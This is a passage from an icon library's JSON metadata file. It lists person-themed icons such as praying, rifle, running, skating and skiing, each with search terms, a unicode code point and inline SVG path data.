2-11.1 2zM296 320a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "person-military-to-person": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["civilian", "coordination", "military"]
    },
    "styles": ["solid"],
    "unicode": "e54c",
    "label": "Person Military To Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71 12.5c-8.6 1-15 8.2-15 16.8c0 9.3 7.5 16.8 16.7 16.9H184.1c8.8-.1 15.9-7.2 15.9-16V16c0-9.5-8.3-17-17.8-15.9L71 12.5zM189.5 78.1H66.5C64.9 83.8 64 89.8 64 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-6.2-.9-12.2-2.5-17.9zM32 256v32c0 17.7 14.3 32 32 32H192c1.8 0 3.5-.1 5.2-.4L53 208.6C40.1 220.3 32 237.2 32 256zm190.2 42.5c1.1-3.3 1.8-6.8 1.8-10.5V256c0-35.3-28.7-64-64-64H96c-3.7 0-7.4 .3-10.9 .9L222.2 298.5zM384 160a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32H448c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H352zM215.8 450.1c5.2-4.6 8.2-11.1 8.2-18.1s-3-13.5-8.2-18.1l-64-56c-7.1-6.2-17.1-7.7-25.7-3.8S112 366.6 112 376v32l-88 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l88 0v32c0 9.4 5.5 18 14.1 21.9s18.6 2.4 25.7-3.8l64-56zM288 431.9c0 6.9 2.9 13.5 8.1 18.1l64 56.4c7.1 6.2 17.1 7.8 25.7 3.9s14.1-12.4 14.1-21.9l0-32.4 88 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-88 0 0-32c0-9.4-5.5-18-14.1-21.9s-18.6-2.4-25.7 3.8l-64 56c-5.2 4.5-8.2 11.1-8.2 18z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M71 12.5c-8.6 1-15 8.2-15 16.8c0 9.3 7.5 16.8 16.7 16.9H184.1c8.8-.1 15.9-7.2 15.9-16V16c0-9.5-8.3-17-17.8-15.9L71 12.5zM189.5 78.1H66.5C64.9 83.8 64 89.8 64 96c0 35.3 28.7 64 64 64s64-28.7 64-64c0-6.2-.9-12.2-2.5-17.9zM32 256v32c0 17.7 14.3 32 32 32H192c1.8 0 3.5-.1 5.2-.4L53 208.6C40.1 220.3 32 237.2 32 256zm190.2 42.5c1.1-3.3 1.8-6.8 1.8-10.5V256c0-35.3-28.7-64-64-64H96c-3.7 0-7.4 .3-10.9 .9L222.2 298.5zM384 160a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-35.3 0-64 28.7-64 64v32c0 17.7 14.3 32 32 32H448c17.7 0 32-14.3 32-32V256c0-35.3-28.7-64-64-64H352zM215.8 450.1c5.2-4.6 8.2-11.1 8.2-18.1s-3-13.5-8.2-18.1l-64-56c-7.1-6.2-17.1-7.7-25.7-3.8S112 366.6 112 376v32l-88 0c-13.3 0-24 10.7-24 24s10.7 24 24 24l88 0v32c0 9.4 5.5 18 14.1 21.9s18.6 2.4 25.7-3.8l64-56zM288 431.9c0 6.9 2.9 13.5 8.1 18.1l64 56.4c7.1 6.2 17.1 7.8 25.7 3.9s14.1-12.4 14.1-21.9l0-32.4 88 0c13.3 0 24-10.7 24-24s-10.7-24-24-24l-88 0 0-32c0-9.4-5.5-18-14.1-21.9s-18.6-2.4-25.7 3.8l-64 56c-5.2 4.5-8.2 11.1-8.2 18z"
      }
    },
    "free": ["solid"]
  },
  "person-praying": {
    "aliases": {
      "names": ["pray"],
      "unicodes": {
        "composite": ["1f6d0"],
        "secondary": ["10f683"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["kneel", "place of worship", "religion", "thank", "worship"]
    },
    "styles": ["solid"],
    "unicode": "f683",
    "label": "Person Praying",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 64A64 64 0 1 0 224 64a64 64 0 1 0 128 0zM232.7 264l22.9 31.5c6.5 8.9 16.3 14.7 27.2 16.1s21.9-1.7 30.4-8.7l88-72c17.1-14 19.6-39.2 5.6-56.3s-39.2-19.6-56.3-5.6l-55.2 45.2-26.2-36C253.6 156.7 228.6 144 202 144c-30.9 0-59.2 17.1-73.6 44.4L79.8 280.9c-20.2 38.5-9.4 85.9 25.6 111.8L158.6 432H72c-22.1 0-40 17.9-40 40s17.9 40 40 40H280c17.3 0 32.6-11.1 38-27.5s-.3-34.4-14.2-44.7L187.7 354l45-90z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 64A64 64 0 1 0 224 64a64 64 0 1 0 128 0zM232.7 264l22.9 31.5c6.5 8.9 16.3 14.7 27.2 16.1s21.9-1.7 30.4-8.7l88-72c17.1-14 19.6-39.2 5.6-56.3s-39.2-19.6-56.3-5.6l-55.2 45.2-26.2-36C253.6 156.7 228.6 144 202 144c-30.9 0-59.2 17.1-73.6 44.4L79.8 280.9c-20.2 38.5-9.4 85.9 25.6 111.8L158.6 432H72c-22.1 0-40 17.9-40 40s17.9 40 40 40H280c17.3 0 32.6-11.1 38-27.5s-.3-34.4-14.2-44.7L187.7 354l45-90z"
      }
    },
    "free": ["solid"]
  },
  "person-pregnant": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baby", "birth", "child", "pregnant", "pregnant woman", "woman"]
    },
    "styles": ["solid"],
    "unicode": "e31e",
    "label": "Person Pregnant",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM120 383c-13.8-3.6-24-16.1-24-31V296.9l-4.6 7.6c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c15-24.9 40.3-41.5 68.7-45.6c4.1-.6 8.2-1 12.5-1h1.1 12.5H192c1.4 0 2.8 .1 4.1 .3c35.7 2.9 65.4 29.3 72.1 65l6.1 32.5c44.3 8.6 77.7 47.5 77.7 94.3v32c0 17.7-14.3 32-32 32H304 264v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384h-8-8v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V383z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM120 383c-13.8-3.6-24-16.1-24-31V296.9l-4.6 7.6c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c15-24.9 40.3-41.5 68.7-45.6c4.1-.6 8.2-1 12.5-1h1.1 12.5H192c1.4 0 2.8 .1 4.1 .3c35.7 2.9 65.4 29.3 72.1 65l6.1 32.5c44.3 8.6 77.7 47.5 77.7 94.3v32c0 17.7-14.3 32-32 32H304 264v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384h-8-8v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V383z"
      }
    },
    "free": ["solid"]
  },
  "person-rays": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "focus", "shine"]
    },
    "styles": ["solid"],
    "unicode": "e54d",
    "label": "Person Rays",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9l-28.6 47.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L328 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H248zM7 7C16.4-2.3 31.6-2.3 41 7l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 41C-2.3 31.6-2.3 16.4 7 7zM471 7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L471 7zM7 505c-9.4-9.4-9.4-24.6 0-33.9l80-80c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L41 505c-9.4 9.4-24.6 9.4-33.9 0zm464 0l-80-80c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V256.9l-28.6 47.5c-9.1 15.1-28.8 20-43.9 10.9s-20-28.8-10.9-43.9l58.3-97c17.4-28.9 48.6-46.6 82.3-46.6h29.7c33.7 0 64.9 17.7 82.3 46.6l58.3 97c9.1 15.1 4.2 34.8-10.9 43.9s-34.8 4.2-43.9-10.9L328 256.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H248zM7 7C16.4-2.3 31.6-2.3 41 7l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 41C-2.3 31.6-2.3 16.4 7 7zM471 7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9L471 7zM7 505c-9.4-9.4-9.4-24.6 0-33.9l80-80c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9L41 505c-9.4 9.4-24.6 9.4-33.9 0zm464 0l-80-80c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "person-rifle": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["army", "combatant", "gun", "military", "rifle", "war"]
    },
    "styles": ["solid"],
    "unicode": "e54e",
    "label": "Person Rifle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M265.2 192c25.4 0 49.8 7.1 70.8 19.9V512H144V337.7L90.4 428.3c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8L97.7 258.8c24.5-41.4 69-66.8 117.1-66.8h50.4zM160 80a80 80 0 1 1 160 0A80 80 0 1 1 160 80zM448 0c8.8 0 16 7.2 16 16V132.3c9.6 5.5 16 15.9 16 27.7V269.3l16-5.3V208c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v84.5c0 6.9-4.4 13-10.9 15.2L480 325.3V352h48c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H484l23 92.1c2.5 10.1-5.1 19.9-15.5 19.9H432c-8.8 0-16-7.2-16-16V400H400c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32V160c0-11.8 6.4-22.2 16-27.7V32c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M265.2 192c25.4 0 49.8 7.1 70.8 19.9V512H144V337.7L90.4 428.3c-11.2 19-35.8 25.3-54.8 14.1s-25.3-35.8-14.1-54.8L97.7 258.8c24.5-41.4 69-66.8 117.1-66.8h50.4zM160 80a80 80 0 1 1 160 0A80 80 0 1 1 160 80zM448 0c8.8 0 16 7.2 16 16V132.3c9.6 5.5 16 15.9 16 27.7V269.3l16-5.3V208c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v84.5c0 6.9-4.4 13-10.9 15.2L480 325.3V352h48c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H484l23 92.1c2.5 10.1-5.1 19.9-15.5 19.9H432c-8.8 0-16-7.2-16-16V400H400c-17.7 0-32-14.3-32-32V224c0-17.7 14.3-32 32-32V160c0-11.8 6.4-22.2 16-27.7V32c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 16z"
      }
    },
    "free": ["solid"]
  },
  "person-running": {
    "aliases": {
      "names": ["running"],
      "unicodes": {
        "composite": ["1f3c3"],
        "secondary": ["10f70c"]
      }
    },
    "changes": ["5.4.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["exit", "flee", "marathon", "person running", "race", "running"]
    },
    "styles": ["solid"],
    "unicode": "f70c",
    "label": "Person Running",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM125.7 175.5c9.9-9.9 23.4-15.5 37.5-15.5c1.9 0 3.8 .1 5.6 .3L137.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9-25.4 88.8c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l28.7-100.4c5.9-20.6-2.6-42.6-20.7-53.9L238 299l30.9-82.4 5.1 12.3C289 264.7 323.9 288 362.7 288H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H362.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3L57.4 153.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l23.1-23.1zM91.2 352H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h69.6c19 0 36.2-11.2 43.9-28.5L157 361.6l-9.5-6c-17.5-10.9-30.5-26.8-37.9-44.9L91.2 352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM125.7 175.5c9.9-9.9 23.4-15.5 37.5-15.5c1.9 0 3.8 .1 5.6 .3L137.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9-25.4 88.8c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l28.7-100.4c5.9-20.6-2.6-42.6-20.7-53.9L238 299l30.9-82.4 5.1 12.3C289 264.7 323.9 288 362.7 288H384c17.7 0 32-14.3 32-32s-14.3-32-32-32H362.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3L57.4 153.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l23.1-23.1zM91.2 352H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h69.6c19 0 36.2-11.2 43.9-28.5L157 361.6l-9.5-6c-17.5-10.9-30.5-26.8-37.9-44.9L91.2 352z"
      }
    },
    "free": ["solid"]
  },
  "person-shelter": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["house", "inside", "roof", "safe", "safety", "shelter"]
    },
    "styles": ["solid"],
    "unicode": "e54f",
    "label": "Person Shelter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M271.9 4.2c-9.8-5.6-21.9-5.6-31.8 0l-224 128C6.2 137.9 0 148.5 0 160V480c0 17.7 14.3 32 32 32s32-14.3 32-32V178.6L256 68.9 448 178.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-11.5-6.2-22.1-16.1-27.8l-224-128zM256 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zm-8 280V400h16v88c0 13.3 10.7 24 24 24s24-10.7 24-24V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H246.2c-32.4 0-62.1 17.8-77.5 46.3l-37.9 70.3c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L200 313.5V488c0 13.3 10.7 24 24 24s24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M271.9 4.2c-9.8-5.6-21.9-5.6-31.8 0l-224 128C6.2 137.9 0 148.5 0 160V480c0 17.7 14.3 32 32 32s32-14.3 32-32V178.6L256 68.9 448 178.6V480c0 17.7 14.3 32 32 32s32-14.3 32-32V160c0-11.5-6.2-22.1-16.1-27.8l-224-128zM256 208a40 40 0 1 0 0-80 40 40 0 1 0 0 80zm-8 280V400h16v88c0 13.3 10.7 24 24 24s24-10.7 24-24V313.5l26.9 49.9c6.3 11.7 20.8 16 32.5 9.8s16-20.8 9.8-32.5l-37.9-70.3c-15.3-28.5-45.1-46.3-77.5-46.3H246.2c-32.4 0-62.1 17.8-77.5 46.3l-37.9 70.3c-6.3 11.7-1.9 26.2 9.8 32.5s26.2 1.9 32.5-9.8L200 313.5V488c0 13.3 10.7 24 24 24s24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "person-skating": {
    "aliases": {
      "names": ["skating"],
      "unicodes": {
        "secondary": ["10f7c5"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["figure skating", "ice", "olympics", "rink", "skate", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7c5",
    "label": "Person Skating",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM128 128c0-17.7 14.3-32 32-32H319.4c43.6 0 64.6 53.4 32.8 83.1l-74.4 69.4 60.2 60.2c9 9 14.1 21.2 14.1 33.9V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V349.3l-77.9-77.8c-26.6-26.6-24.6-70.3 4.3-94.4l20.4-17H160c-17.7 0-32-14.3-32-32zM81.4 353.4l86.9-86.9c4.6 10 11 19.3 19.3 27.5l21.8 21.8-82.7 82.7c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3zm322.5 95.1c8.6 2.1 13.8 10.8 11.6 19.4l-.4 1.7c-6.2 24.9-28.6 42.4-54.3 42.4H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h88.8c11 0 20.6-7.5 23.3-18.2l.4-1.7c2.1-8.6 10.8-13.8 19.4-11.6zM135.2 478.3l-6.2 3.1c-21.6 10.8-47.6 6.6-64.6-10.5L4.7 411.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l59.6 59.6c7.3 7.3 18.5 9.1 27.7 4.5l6.2-3.1c7.9-4 17.5-.7 21.5 7.2s.7 17.5-7.2 21.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM128 128c0-17.7 14.3-32 32-32H319.4c43.6 0 64.6 53.4 32.8 83.1l-74.4 69.4 60.2 60.2c9 9 14.1 21.2 14.1 33.9V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V349.3l-77.9-77.8c-26.6-26.6-24.6-70.3 4.3-94.4l20.4-17H160c-17.7 0-32-14.3-32-32zM81.4 353.4l86.9-86.9c4.6 10 11 19.3 19.3 27.5l21.8 21.8-82.7 82.7c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3zm322.5 95.1c8.6 2.1 13.8 10.8 11.6 19.4l-.4 1.7c-6.2 24.9-28.6 42.4-54.3 42.4H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h88.8c11 0 20.6-7.5 23.3-18.2l.4-1.7c2.1-8.6 10.8-13.8 19.4-11.6zM135.2 478.3l-6.2 3.1c-21.6 10.8-47.6 6.6-64.6-10.5L4.7 411.3c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0l59.6 59.6c7.3 7.3 18.5 9.1 27.7 4.5l6.2-3.1c7.9-4 17.5-.7 21.5 7.2s.7 17.5-7.2 21.5z"
      }
    },
    "free": ["solid"]
  },
  "person-skiing": {
    "aliases": {
      "names": ["skiing"],
      "unicodes": {
        "composite": ["26f7"],
        "secondary": ["10f7c9"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["downhill", "olympics", "ski", "skier", "snow", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7c9",
    "label": "Person Skiing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M380.7 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM2.7 268.9c6.1-11.8 20.6-16.3 32.4-10.2L232.7 361.3l46.2-69.2-75.1-75.1c-14.6-14.6-20.4-33.9-18.4-52.1l108.8 52 39.3 39.3c16.2 16.2 18.7 41.5 6 60.6L289.8 391l128.7 66.8c13.6 7.1 29.8 7.2 43.6 .3l15.2-7.6c11.9-5.9 26.3-1.1 32.2 10.7s1.1 26.3-10.7 32.2l-15.2 7.6c-27.5 13.7-59.9 13.5-87.2-.7L12.9 301.3C1.2 295.2-3.4 280.7 2.7 268.9zM118.9 65.6L137 74.2l8.7-17.4c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-8.5 16.9 54.7 26.2c1.5-.7 3.1-1.4 4.7-2.1l83.4-33.4c34.2-13.7 72.8 4.2 84.5 39.2l17.1 51.2 52.1 26.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-58.1-29c-11.4-5.7-20-15.7-24.1-27.8l-5.8-17.3-27.3 12.1-6.8 3-6.7-3.2L151.5 116.7l-9.2 18.4c-4 7.9-13.6 11.1-21.5 7.2s-11.1-13.6-7.2-21.5l9-18-17.6-8.4c-8-3.8-11.3-13.4-7.5-21.3s13.4-11.3 21.3-7.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M380.7 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM2.7 268.9c6.1-11.8 20.6-16.3 32.4-10.2L232.7 361.3l46.2-69.2-75.1-75.1c-14.6-14.6-20.4-33.9-18.4-52.1l108.8 52 39.3 39.3c16.2 16.2 18.7 41.5 6 60.6L289.8 391l128.7 66.8c13.6 7.1 29.8 7.2 43.6 .3l15.2-7.6c11.9-5.9 26.3-1.1 32.2 10.7s1.1 26.3-10.7 32.2l-15.2 7.6c-27.5 13.7-59.9 13.5-87.2-.7L12.9 301.3C1.2 295.2-3.4 280.7 2.7 268.9zM118.9 65.6L137 74.2l8.7-17.4c4-7.9 13.6-11.1 21.5-7.2s11.1 13.6 7.2 21.5l-8.5 16.9 54.7 26.2c1.5-.7 3.1-1.4 4.7-2.1l83.4-33.4c34.2-13.7 72.8 4.2 84.5 39.2l17.1 51.2 52.1 26.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-58.1-29c-11.4-5.7-20-15.7-24.1-27.8l-5.8-17.3-27.3 12.1-6.8 3-6.7-3.2L151.5 116.7l-9.2 18.4c-4 7.9-13.6 11.1-21.5 7.2s-11.1-13.6-7.2-21.5l9-18-17.6-8.4c-8-3.8-11.3-13.4-7.5-21.3s13.4-11.3 21.3-7.5z"
      }
    },
    "free": ["solid"]
  },
  "person-skiing-nordic": {
    "aliases": {
      "names": ["skiing-nordic"],
      "unicodes": {
        "secondary": ["10f7ca"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cross country", "olympics", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7ca",
    "label": "Person Skiing Nordic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M336 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM227.2 160c1.9 0 3.8 .1 5.6 .3L201.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9L291.3 464H202.8l41.1-88.1-32.4-20.3c-7.8-4.9-14.7-10.7-20.6-17.3L132.2 464H99.7l54.2-257.6c4.6-1.5 9-4.1 12.7-7.8l23.1-23.1c9.9-9.9 23.4-15.5 37.5-15.5zM121.4 198.6c.4 .4 .8 .8 1.3 1.2L67 464H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H159.3c.4 0 .9 0 1.3 0H319.3c.5 0 1 0 1.4 0H504c39.8 0 72-32.2 72-72v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24v8c0 13.3-10.7 24-24 24H434.6l27.6-179.3c10.5-5.2 17.8-16.1 17.8-28.7c0-17.7-14.3-32-32-32H426.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3l-23.1 23.1c-12.5 12.5-12.5 32.8 0 45.3zm308 89.4L402.3 464H357.8l21.6-75.6c5.9-20.6-2.6-42.6-20.7-53.9L302 299l30.9-82.4 5.1 12.3C353 264.7 387.9 288 426.7 288h2.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M336 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM227.2 160c1.9 0 3.8 .1 5.6 .3L201.6 254c-9.3 28 1.7 58.8 26.8 74.5l86.2 53.9L291.3 464H202.8l41.1-88.1-32.4-20.3c-7.8-4.9-14.7-10.7-20.6-17.3L132.2 464H99.7l54.2-257.6c4.6-1.5 9-4.1 12.7-7.8l23.1-23.1c9.9-9.9 23.4-15.5 37.5-15.5zM121.4 198.6c.4 .4 .8 .8 1.3 1.2L67 464H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H159.3c.4 0 .9 0 1.3 0H319.3c.5 0 1 0 1.4 0H504c39.8 0 72-32.2 72-72v-8c0-13.3-10.7-24-24-24s-24 10.7-24 24v8c0 13.3-10.7 24-24 24H434.6l27.6-179.3c10.5-5.2 17.8-16.1 17.8-28.7c0-17.7-14.3-32-32-32H426.7c-12.9 0-24.6-7.8-29.5-19.7l-6.3-15c-14.6-35.1-44.1-61.9-80.5-73.1l-48.7-15c-11.1-3.4-22.7-5.2-34.4-5.2c-31 0-60.8 12.3-82.7 34.3l-23.1 23.1c-12.5 12.5-12.5 32.8 0 45.3zm308 89.4L402.3 464H357.8l21.6-75.6c5.9-20.6-2.6-42.6-20.7-53.9L302 299l30.9-82.4 5.1 12.3C353 264.7 387.9 288 426.7 288h2.7z"
      }
    },
    "free": ["solid"]
  },
  "person-snowboarding": {
    "aliases": {
      "names": ["snowboarding"],
      "unicodes": {
        "composite": ["1f3c2"],
        "secondary": ["10f7ce"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["olympics", "ski", "snow", "snowboard", "snowboarder", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7ce",
    "label": "Person Snowboarding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767531,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M209.7 3.4c15.8-7.9 35-1.5 42.9 14.3l25 50 42.4 8.5c19.5 3.9 37.8 12.3 53.5 24.5l126.1 98.1c14 10.9 16.5 31 5.6 44.9s-31 16.5-44.9 5.6l-72.1-56.1-71.5 31.8 33.1 27.6c23.2 19.3 33.5 50 26.7 79.4l-17.4 75.2c-2.2 9.4-8.2 16.8-16.1 21l86.5 33.1c4.6 1.8 9.4 2.6 14.3 2.6H472c13.3 0 24 10.7 24 24s-10.7 24-24 24H443.8c-10.8 0-21.4-2-31.5-5.8L60.1 371.3c-11.5-4.4-22-11.2-30.8-20L7 329c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.4 22.4c4 4 8.7 7.1 14 9.1l22.4 8.6c-.8-1.6-1.5-3.2-2.1-4.9c-5.6-16.8 3.5-34.9 20.2-40.5L192 264.9l0-53.2c0-24.2 13.7-46.4 